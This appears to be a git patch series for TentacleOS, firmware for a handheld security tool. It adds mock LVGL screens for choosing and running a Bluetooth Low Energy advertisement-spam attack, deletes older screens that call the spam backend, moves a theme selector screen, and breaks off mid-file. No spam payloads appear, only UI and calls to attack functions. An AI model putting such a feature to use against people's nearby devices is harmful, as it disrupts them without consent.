lv_obj_set_style_bg_opa(s_select_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_select_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_select_menu = + menu_component_create(s_select_screen, "DEVICE SPAM", "/assets/icons/spam_icon.bin"); + for (size_t i = 0; i < SPAM_ITEMS_COUNT; i++) + menu_component_add_item(&s_select_menu, "/assets/icons/bluetooth_icon.bin", SPAM_ITEMS[i]); + + s_sel_up_last = false; + s_sel_down_last = false; + s_sel_ok_last = false; + s_sel_back_last = false; + s_sel_left_last = false; + + if (s_select_nav_timer == NULL) + s_select_nav_timer = lv_timer_create(select_nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); + + ui_screen_load(s_select_screen); +} + +static void select_nav_timer_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_select_screen) { + lv_timer_delete(timer); + s_select_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool is_up = ui_btn_up(); + bool is_down = ui_btn_down(); + bool is_ok = ok_button_is_down(); + bool is_back = back_button_is_down(); + bool is_left = left_button_is_down(); + + if (is_down && !s_sel_down_last) + menu_component_next(&s_select_menu); + if (is_up && !s_sel_up_last) + menu_component_prev(&s_select_menu); + + if ((is_back && !s_sel_back_last) || (is_left && !s_sel_left_last)) + ui_switch_screen(SCREEN_BLE_MENU); + + if (is_ok && !s_sel_ok_last) { + int sel = menu_component_get_selected(&s_select_menu); + if (sel >= 0 && sel < (int)SPAM_ITEMS_COUNT) + s_spam_mode = sel; + ui_switch_screen(SCREEN_BLE_SPAM); + } + + s_sel_up_last = is_up; + s_sel_down_last = is_down; + s_sel_ok_last = is_ok; + s_sel_back_last = is_back; + s_sel_left_last = is_left; +} + +static lv_obj_t *s_run_screen = NULL; +static lv_timer_t *s_run_nav_timer = NULL; +static lv_timer_t *s_run_spam_timer = NULL; +static lv_timer_t *s_run_target_timer = NULL; +static lv_obj_t *s_run_count_label = NULL; +static lv_obj_t *s_run_rate_label = NULL; +static lv_obj_t *s_run_target_label = NULL; +static int s_run_sent = 0; +static int s_run_sent_prev = 0; +static int s_run_tick_accum = 0; +static int s_run_target_idx = 0; + +static bool s_run_back_last = false; + +static void run_nav_timer_cb(lv_timer_t *timer); +static void run_spam_tick_cb(lv_timer_t *timer); +static void run_target_cycle_cb(lv_timer_t *timer); + +static void fade_in(lv_obj_t *obj, uint32_t ms) { + if (obj != NULL) + lv_obj_fade_in(obj, ms, 0); +} + +static void pulse_opa_cb(void *var, int32_t v) { + lv_obj_set_style_text_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void attach_pulse(lv_obj_t *obj, uint32_t period_ms) { + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_exec_cb(&a, pulse_opa_cb); + lv_anim_set_values(&a, LV_OPA_20, LV_OPA_70); + lv_anim_set_duration(&a, period_ms); + lv_anim_set_playback_duration(&a, period_ms); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_start(&a); +} + +static void run_stop_timers(void) { + if (s_run_spam_timer != NULL) { + lv_timer_delete(s_run_spam_timer); + s_run_spam_timer = NULL; + } + if (s_run_target_timer != NULL) { + lv_timer_delete(s_run_target_timer); + s_run_target_timer = NULL; + } +} + +void ui_ble_spam_open(void) { + if (s_run_screen != NULL) { + lv_obj_del(s_run_screen); + s_run_screen = NULL; + } + s_run_sent = 0; + s_run_sent_prev = 0; + s_run_tick_accum = 0; + s_run_target_idx = 0; + s_run_spam_timer = NULL; + s_run_target_timer = NULL; + + s_run_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_run_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_run_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_run_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_run_screen, 0, 0); + lv_obj_set_style_pad_all(s_run_screen, 0, 0); + + lv_obj_t *header = ui_chrome_header(s_run_screen, "BLE SPAM", "/assets/icons/spam_icon.bin"); + ui_chrome_footer(s_run_screen, "Back Exit"); + + lv_obj_t *status = lv_label_create(s_run_screen); + lv_label_set_text(status, "Spamming..."); + lv_obj_set_style_text_color(status, current_theme.text_main, 0); + lv_obj_set_style_text_font(status, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(status, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(status, LV_ALIGN_TOP_MID, 0, TOP_BORDER_H + 12); + + lv_obj_t *mode = lv_label_create(s_run_screen); + lv_label_set_text_fmt(mode, "Mode: %s", SPAM_ITEMS[s_spam_mode]); + lv_obj_set_style_text_color(mode, current_theme.text_main, 0); + lv_obj_set_style_text_font(mode, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(mode, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(mode, LV_ALIGN_TOP_MID, 0, TOP_BORDER_H + 36); + + s_run_target_label = lv_label_create(s_run_screen); + lv_label_set_text_fmt(s_run_target_label, LV_SYMBOL_BLUETOOTH " %s", SPAM_TARGETS[0]); + lv_obj_set_style_text_color(s_run_target_label, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_run_target_label, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(s_run_target_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_run_target_label, LV_ALIGN_TOP_MID, 0, TOP_BORDER_H + 58); + + s_run_count_label = lv_label_create(s_run_screen); + lv_label_set_text(s_run_count_label, "Sent: 0"); + lv_obj_set_style_text_color(s_run_count_label, current_theme.border_accent, 0); + lv_obj_set_style_text_font(s_run_count_label, &lv_font_montserrat_16, 0); + lv_obj_set_style_text_align(s_run_count_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_run_count_label, LV_ALIGN_TOP_MID, 0, TOP_BORDER_H + 78); + + s_run_rate_label = lv_label_create(s_run_screen); + lv_label_set_text(s_run_rate_label, "Adv/s: 0"); + lv_obj_set_style_text_color(s_run_rate_label, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_run_rate_label, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(s_run_rate_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_run_rate_label, LV_ALIGN_TOP_MID, 0, TOP_BORDER_H + 102); + + waves_create(s_run_screen, LV_ALIGN_CENTER, 0, 48, LV_SYMBOL_BLUETOOTH, NULL); + + lv_obj_t *bt_glyph = lv_label_create(s_run_screen); + lv_label_set_text(bt_glyph, LV_SYMBOL_BLUETOOTH); + lv_obj_set_style_text_color(bt_glyph, current_theme.border_accent, 0); + lv_obj_set_style_text_font(bt_glyph, &lv_font_montserrat_16, 0); + lv_obj_align(bt_glyph, LV_ALIGN_CENTER, 64, 48); + attach_pulse(bt_glyph, 700); + + fade_in(header, 200); + fade_in(status, 200); + fade_in(mode, 200); + fade_in(s_run_count_label, 200); + fade_in(s_run_rate_label, 200); + + s_run_back_last = false; + if (s_run_nav_timer == NULL) + s_run_nav_timer = lv_timer_create(run_nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); + s_run_spam_timer = lv_timer_create(run_spam_tick_cb, SPAM_TICK_MS, NULL); + s_run_target_timer = lv_timer_create(run_target_cycle_cb, TARGET_CYCLE_MS, NULL); + + ui_screen_load(s_run_screen); +} + +static void run_spam_tick_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_run_screen) { + lv_timer_delete(timer); + if (s_run_spam_timer == timer) + s_run_spam_timer = NULL; + return; + } + + s_run_sent++; + lv_label_set_text_fmt(s_run_count_label, "Sent: %d", s_run_sent); + + s_run_tick_accum++; + int ticks_per_sec = (1000 + SPAM_TICK_MS - 1) / SPAM_TICK_MS; + if (s_run_tick_accum >= ticks_per_sec && s_run_rate_label != NULL) { + int delta = s_run_sent - s_run_sent_prev; + int per_sec = delta * 1000 / (s_run_tick_accum * SPAM_TICK_MS); + lv_label_set_text_fmt(s_run_rate_label, "Adv/s: %d", per_sec); + s_run_sent_prev = s_run_sent; + s_run_tick_accum = 0; + } +} + +static void run_target_cycle_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_run_screen) { + lv_timer_delete(timer); + if (s_run_target_timer == timer) + s_run_target_timer = NULL; + return; + } + + s_run_target_idx = (s_run_target_idx + 1) % (int)SPAM_TARGETS_COUNT; + lv_label_set_text_fmt( + s_run_target_label, LV_SYMBOL_BLUETOOTH " %s", SPAM_TARGETS[s_run_target_idx]); +} + +static void run_nav_timer_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_run_screen) { + lv_timer_delete(timer); + s_run_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool is_back = back_button_is_down(); + if (is_back && !s_run_back_last) { + run_stop_timers(); + ui_switch_screen(SCREEN_BLE_SPAM_SELECT); + } + s_run_back_last = is_back; +} diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_spam_ui.h b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_spam_ui.h new file mode 100644 index 000000000..db7904b96 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_spam_ui.h @@ -0,0 +1,33 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef BLE_SPAM_UI_H +#define BLE_SPAM_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Device-spam profile selection menu (MOCK). */ +void ui_ble_spam_select_open(void); + +/** @brief BLE spam "running" screen (MOCK); auto-starts a packet counter. */ +void ui_ble_spam_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // BLE_SPAM_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam.c b/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam.c deleted file mode 100644 index f997a348e..000000000 --- a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam.c +++ /dev/null @@ -1,97 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "ui_ble_spam.h" - -#include - -#include "esp_log.h" - -#include "canned_spam.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BLE_SPAM"; - -#define SPAM_NAME_MAX_LEN 32 -#define TITLE_OFFSET_Y (-20) -#define INSTR_LABEL_OFFSET_Y 40 -#define SPINNER_SIZE 15 -#define SPINNER_OFFSET_Y (-40) - -static lv_obj_t *s_screen_spam = NULL; -static char s_current_spam_name[SPAM_NAME_MAX_LEN] = "Unknown"; - -static void spam_event_cb(lv_event_t *e); - -void ui_ble_spam_set_name(const char *name) { - if (name != NULL) { - snprintf(s_current_spam_name, sizeof(s_current_spam_name), "%s", name); - } -} - -void ui_ble_spam_open(void) { - if (s_screen_spam != NULL) { - lv_obj_del(s_screen_spam); - s_screen_spam = NULL; - } - - s_screen_spam = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_spam, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen_spam, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen_spam); - footer_ui_create(s_screen_spam); - - lv_obj_t *lbl_title = lv_label_create(s_screen_spam); - lv_label_set_text_fmt(lbl_title, "SPAM RUNNING:\n#FF0000 %s#", s_current_spam_name); - lv_label_set_recolor(lbl_title, true); - lv_obj_set_style_text_align(lbl_title, LV_TEXT_ALIGN_CENTER, 0); - lv_obj_set_style_text_color(lbl_title, current_theme.text_main, 0); - lv_obj_center(lbl_title); - lv_obj_set_y(lbl_title, TITLE_OFFSET_Y); - - lv_obj_t *lbl_instr = lv_label_create(s_screen_spam); - lv_label_set_text(lbl_instr, "Press BACK to Stop"); - lv_obj_set_style_text_color(lbl_instr, current_theme.text_main, 0); - lv_obj_align(lbl_instr, LV_ALIGN_CENTER, 0, INSTR_LABEL_OFFSET_Y); - - lv_obj_t *spinner = lv_spinner_create(s_screen_spam); - lv_obj_set_size(spinner, SPINNER_SIZE, SPINNER_SIZE); - lv_obj_align(spinner, LV_ALIGN_BOTTOM_MID, 0, SPINNER_OFFSET_Y); - lv_obj_set_style_arc_color(spinner, current_theme.border_accent, LV_PART_INDICATOR); - - lv_obj_add_event_cb(s_screen_spam, spam_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, s_screen_spam); - lv_group_focus_obj(s_screen_spam); - } - - lv_screen_load(s_screen_spam); -} - -static void spam_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - spam_stop(); - ui_switch_screen(SCREEN_BLE_MENU); - } - } -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam_select.c b/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam_select.c deleted file mode 100644 index 6841520ae..000000000 --- a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam_select.c +++ /dev/null @@ -1,200 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "ui_ble_spam_select.h" - -#include "esp_log.h" - -#include "canned_spam.h" -#include "font/lv_symbol_def.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "ui_ble_spam.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BLE_SPAM_SELECT"; - -#define COLOR_BORDER 0x834EC6 -#define COLOR_GRADIENT_TOP 0x000000 -#define COLOR_GRADIENT_BOT 0x2E0157 - -#define SCREEN_HEIGHT 240 -#define HEADER_HEIGHT 24 -#define FOOTER_HEIGHT 20 -#define MENU_ALIGN_OFFSET_Y 2 -#define MENU_BORDER_WIDTH 2 -#define MENU_RADIUS 6 -#define MENU_PAD 10 -#define BTN_HEIGHT 40 -#define BTN_ICON_OFFSET_X 8 -#define BTN_BORDER_WIDTH 2 -#define BTN_RADIUS 6 - -static lv_obj_t *s_screen_ble_spam_select = NULL; -static lv_style_t s_style_menu; -static lv_style_t s_style_btn; -static bool s_is_styles_initialized = false; - -static void init_styles(void); -static void menu_item_event_cb(lv_event_t *e); -static void spam_toggle_event_cb(lv_event_t *e); -static void ble_spam_select_event_cb(lv_event_t *e); -static void create_menu(lv_obj_t *parent); - -void ui_ble_spam_select_open(void) { - if (s_screen_ble_spam_select != NULL) { - lv_obj_del(s_screen_ble_spam_select); - s_screen_ble_spam_select = NULL; - } - - s_screen_ble_spam_select = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_ble_spam_select, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen_ble_spam_select, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen_ble_spam_select); - footer_ui_create(s_screen_ble_spam_select); - create_menu(s_screen_ble_spam_select); - - lv_obj_add_event_cb(s_screen_ble_spam_select, ble_spam_select_event_cb, LV_EVENT_KEY, NULL); - - lv_screen_load(s_screen_ble_spam_select); -} - -static void init_styles(void) { - if (s_is_styles_initialized) { - return; - } - - lv_style_init(&s_style_menu); - lv_style_set_bg_opa(&s_style_menu, LV_OPA_TRANSP); - lv_style_set_border_width(&s_style_menu, MENU_BORDER_WIDTH); - lv_style_set_border_color(&s_style_menu, lv_color_hex(COLOR_BORDER)); - lv_style_set_radius(&s_style_menu, MENU_RADIUS); - lv_style_set_pad_all(&s_style_menu, MENU_PAD); - lv_style_set_pad_row(&s_style_menu, MENU_PAD); - - lv_style_init(&s_style_btn); - lv_style_set_bg_color(&s_style_btn, lv_color_hex(COLOR_GRADIENT_BOT)); - lv_style_set_bg_grad_color(&s_style_btn, lv_color_hex(COLOR_GRADIENT_TOP)); - lv_style_set_bg_grad_dir(&s_style_btn, LV_GRAD_DIR_VER); - lv_style_set_border_width(&s_style_btn, BTN_BORDER_WIDTH); - lv_style_set_border_color(&s_style_btn, lv_color_hex(COLOR_BORDER)); - lv_style_set_radius(&s_style_btn, BTN_RADIUS); - - s_is_styles_initialized = true; -} - -static void menu_item_event_cb(lv_event_t *e) { - lv_obj_t *img_sel = lv_event_get_user_data(e); - lv_event_code_t code = lv_event_get_code(e); - - if (code == LV_EVENT_FOCUSED) { - lv_obj_clear_flag(img_sel, LV_OBJ_FLAG_HIDDEN); - } else if (code == LV_EVENT_DEFOCUSED) { - lv_obj_add_flag(img_sel, LV_OBJ_FLAG_HIDDEN); - } -} - -static void spam_toggle_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) != LV_EVENT_KEY) { - return; - } - - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ENTER) { - int index = (int)(intptr_t)lv_event_get_user_data(e); - - const canned_spam_type_t *type = spam_get_attack_type(index); - if (type != NULL) { - ui_ble_spam_set_name(type->name); - } - - ESP_LOGI(TAG, "Starting Spam Index: %d", index); - spam_start(index); - - ui_switch_screen(SCREEN_BLE_SPAM); - } -} - -static void ble_spam_select_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) == LV_EVENT_KEY) { - if (lv_event_get_key(e) == LV_KEY_ESC) { - ESP_LOGI(TAG, "Returning to BLE Options Menu"); - ui_switch_screen(SCREEN_BLE_SPAM_SELECT); - } - } -} - -static void create_menu(lv_obj_t *parent) { - init_styles(); - - lv_coord_t menu_h = SCREEN_HEIGHT - HEADER_HEIGHT - FOOTER_HEIGHT; - - lv_obj_t *menu = lv_obj_create(parent); - lv_obj_set_size(menu, SCREEN_HEIGHT, menu_h); - lv_obj_align(menu, LV_ALIGN_CENTER, 0, MENU_ALIGN_OFFSET_Y); - lv_obj_add_style(menu, &s_style_menu, 0); - lv_obj_set_scroll_dir(menu, LV_DIR_VER); - lv_obj_set_scrollbar_mode(menu, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_flex_flow(menu, LV_FLEX_FLOW_COLUMN); - - static const void *s_ble_icon = NULL; - static const void *s_select_icon = NULL; - - if (s_ble_icon == NULL) { - s_ble_icon = LV_SYMBOL_BLUETOOTH; - } - if (s_select_icon == NULL) { - s_select_icon = LV_SYMBOL_RIGHT; - } - - int count = spam_get_attack_count(); - - for (int i = 0; i < count; i++) { - const canned_spam_type_t *type = spam_get_attack_type(i); - if (type == NULL) { - continue; - } - - lv_obj_t *btn = lv_btn_create(menu); - lv_obj_set_size(btn, lv_pct(100), BTN_HEIGHT); - lv_obj_add_style(btn, &s_style_btn, 0); - lv_obj_set_style_anim_time(btn, 0, 0); - - lv_obj_t *img_left = lv_label_create(btn); - lv_label_set_text(img_left, s_ble_icon); - lv_obj_align(img_left, LV_ALIGN_LEFT_MID, BTN_ICON_OFFSET_X, 0); - - lv_obj_t *lbl = lv_label_create(btn); - lv_label_set_text(lbl, type->name); - lv_obj_center(lbl); - - lv_obj_t *img_sel = lv_label_create(btn); - lv_label_set_text(img_sel, s_select_icon); - lv_obj_align(img_sel, LV_ALIGN_RIGHT_MID, -BTN_ICON_OFFSET_X, 0); - lv_obj_add_flag(img_sel, LV_OBJ_FLAG_HIDDEN); - - lv_obj_add_event_cb(btn, menu_item_event_cb, LV_EVENT_FOCUSED, img_sel); - lv_obj_add_event_cb(btn, menu_item_event_cb, LV_EVENT_DEFOCUSED, img_sel); - lv_obj_add_event_cb(btn, spam_toggle_event_cb, LV_EVENT_KEY, (void *)(intptr_t)i); - lv_obj_add_event_cb(btn, ble_spam_select_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, btn); - } - } -} \ No newline at end of file From 68167e9dc06067a6b9fc7dd84b60b75b57574f0c Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:28:38 -0300 Subject: [PATCH 138/572] refactor(ui): move theme selector screen into theme dir --- .../include/theme_selector_ui.h | 2 +- .../ui/screens/theme/theme_selector_ui.c | 147 +++++ .../theme_selector/theme_selector_ui.c | 551 ------------------ 3 files changed, 148 insertions(+), 552 deletions(-) rename firmware_p4/components/Applications/ui/screens/{theme_selector => theme}/include/theme_selector_ui.h (91%) create mode 100644 firmware_p4/components/Applications/ui/screens/theme/theme_selector_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/theme_selector/theme_selector_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/theme_selector/include/theme_selector_ui.h b/firmware_p4/components/Applications/ui/screens/theme/include/theme_selector_ui.h similarity index 91% rename from firmware_p4/components/Applications/ui/screens/theme_selector/include/theme_selector_ui.h rename to firmware_p4/components/Applications/ui/screens/theme/include/theme_selector_ui.h index cd25c823d..1e1c91d35 100644 --- a/firmware_p4/components/Applications/ui/screens/theme_selector/include/theme_selector_ui.h +++ b/firmware_p4/components/Applications/ui/screens/theme/include/theme_selector_ui.h @@ -20,7 +20,7 @@ extern "C" { #endif -/** @brief Open the theme selector screen. */ +/** @brief Open the theme selector screen (live-applies the chosen palette). */ void ui_theme_selector_open(void); #ifdef __cplusplus diff --git a/firmware_p4/components/Applications/ui/screens/theme/theme_selector_ui.c b/firmware_p4/components/Applications/ui/screens/theme/theme_selector_ui.c new file mode 100644 index 000000000..6f15f47d2 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/theme/theme_selector_ui.c @@ -0,0 +1,147 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "theme_selector_ui.h" + +#include "esp_log.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "notify_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "THEME_SELECTOR_UI"; + +#define NAV_TIMER_MS 50 +#define ENTRY_FADE_MS 200 +#define ACTIVE_COLOR 0x00E676 +#define TITLE_ICON "/assets/icons/theme_menu_icon.bin" + +extern int theme_idx; + +static const char *const THEME_LABELS[] = { + "Default", + "Matrix", + "Cyber Blue", + "Blood", + "Toxic", + "Ghost", + "Neon Pink", + "Amber", + "Terminal", + "Ice", + "Deep Purple", + "Midnight", +}; +#define THEME_COUNT ((int)(sizeof(THEME_LABELS) / sizeof(THEME_LABELS[0]))) + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static int s_sel = 0; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; + +static void build_screen(void); + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_down_last) { + menu_component_next(&s_menu); + s_sel = menu_component_get_selected(&s_menu); + } + if (up && !s_up_last) { + menu_component_prev(&s_menu); + s_sel = menu_component_get_selected(&s_menu); + } + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && sel < THEME_COUNT && sel != theme_idx) { + theme_idx = sel; + ui_theme_load_idx(sel); + ESP_LOGI(TAG, "applied theme %d (%s)", sel, THEME_LABELS[sel]); + s_sel = sel; + build_screen(); + notify(NOTIFY_SAVED, "Theme applied"); + return; + } + } + if (back && !s_back_last) { + ui_switch_screen(SCREEN_SETTINGS); + return; + } + + s_up_last = up; + s_down_last = down; + s_ok_last = ok; + s_back_last = back; +} + +static void build_screen(void) { + lv_obj_t *prev = s_screen; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "THEME", TITLE_ICON); + for (int i = 0; i < THEME_COUNT; i++) { + menu_component_add_item(&s_menu, NULL, THEME_LABELS[i]); + if (i == theme_idx) + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(ACTIVE_COLOR)); + } + + if (s_sel < 0) + s_sel = 0; + if (s_sel >= THEME_COUNT) + s_sel = THEME_COUNT - 1; + menu_component_select(&s_menu, s_sel); + + if (s_menu.items_cont != NULL) + lv_obj_fade_in(s_menu.items_cont, ENTRY_FADE_MS, 0); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); + if (prev != NULL) + lv_obj_del(prev); +} + +void ui_theme_selector_open(void) { + s_sel = (theme_idx >= 0 && theme_idx < THEME_COUNT) ? theme_idx : 0; + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + build_screen(); +} diff --git a/firmware_p4/components/Applications/ui/screens/theme_selector/theme_selector_ui.c b/firmware_p4/components/Applications/ui/screens/theme_selector/theme_selector_ui.c deleted file mode 100644 index 1bf7c2a43..000000000 --- a/firmware_p4/components/Applications/ui/screens/theme_selector/theme_selector_ui.c +++ /dev/null @@ -1,551 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "theme_selector_ui.h" - -#include -#include -#include -#include - -#include "esp_log.h" -#include "cJSON.h" - -#include "ui_theme.h" -#include "ui_manager.h" -#include "tos_config.h" -#include "tos_storage_paths.h" -#include "tos_flash_paths.h" -#include "buttons_gpio.h" -#include "assets_manager.h" -#include "storage_impl.h" -#include "st7789.h" - -static const char *TAG = "THEME_SELECTOR_UI"; - -#define TITLE_W 170 -#define TITLE_H 30 -#define TITLE_RADIUS 12 -#define TITLE_BORDER_W 2 -#define ITEM_W 210 -#define ITEM_H 47 -#define ITEM_RADIUS 10 -#define ITEM_BORDER_NORMAL 1 -#define ITEM_BORDER_SELECTED 3 -#define ITEM_PAD_H 6 -#define ITEM_PAD_COL 4 -#define OUTER_BORDER 4 -#define TOP_BORDER_H (TITLE_H + 16) -#define TOP_AREA_BORDER_W 3 - -#define SWATCH_SIZE 12 -#define SWATCH_RADIUS 2 -#define SWATCH_BORDER_W 1 -#define SWATCH_COUNT 5 - -#define DOT_SIZE 8 -#define DOT_OFFSET_X (-12) -#define PTR_OFFSET_X (-6) - -#define ITEMS_Y_OFFSET 4 -#define ITEMS_CONT_PAD 2 -#define ITEMS_CONT_PAD_ROW 6 -#define ITEMS_CONT_X_OFFSET 4 - -#define SCROLL_TRACK_W 3 -#define SCROLL_TRACK_DASH_W 4 -#define SCROLL_TRACK_DASH_GAP 4 -#define SCROLL_TRACK_X_MARGIN 9 -#define SCROLL_TRACK_Y_MARGIN 10 -#define SCROLL_BAR_X_OFFSET (-4) -#define SCROLL_BAR_THUMB_H 20 -#define SCROLL_BAR_ANIM_MS 200 - -#define THEME_NAME_MAX_LEN 32 -#define THEME_COLOR_COUNT 5 -#define MAX_THEMES 24 -#define BUILTIN_THEME_COUNT 12 - -#define THEME_CONF_PATH_FMT TOS_PATH_THEMES "/%.30s/theme.conf" -#define THEME_CONF_PATH_SIZE 96 - -#define NAV_TIMER_PERIOD_MS 50 - -typedef struct { - char name[THEME_NAME_MAX_LEN]; - uint32_t - colors[THEME_COLOR_COUNT]; // bg_primary, bg_secondary, border_accent, text_main, screen_base -} theme_selector_entry_t; - -static const char *BUILTIN_THEMES[BUILTIN_THEME_COUNT] = {"default", - "matrix", - "cyber_blue", - "blood", - "toxic", - "ghost", - "neon_pink", - "amber", - "terminal", - "ice", - "deep_purple", - "midnight"}; - -static const char *COLOR_KEYS[THEME_COLOR_COUNT] = { - "bg_primary", "bg_secondary", "border_accent", "text_main", "screen_base"}; - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_items_cont = NULL; -static lv_obj_t *s_items[MAX_THEMES]; -static 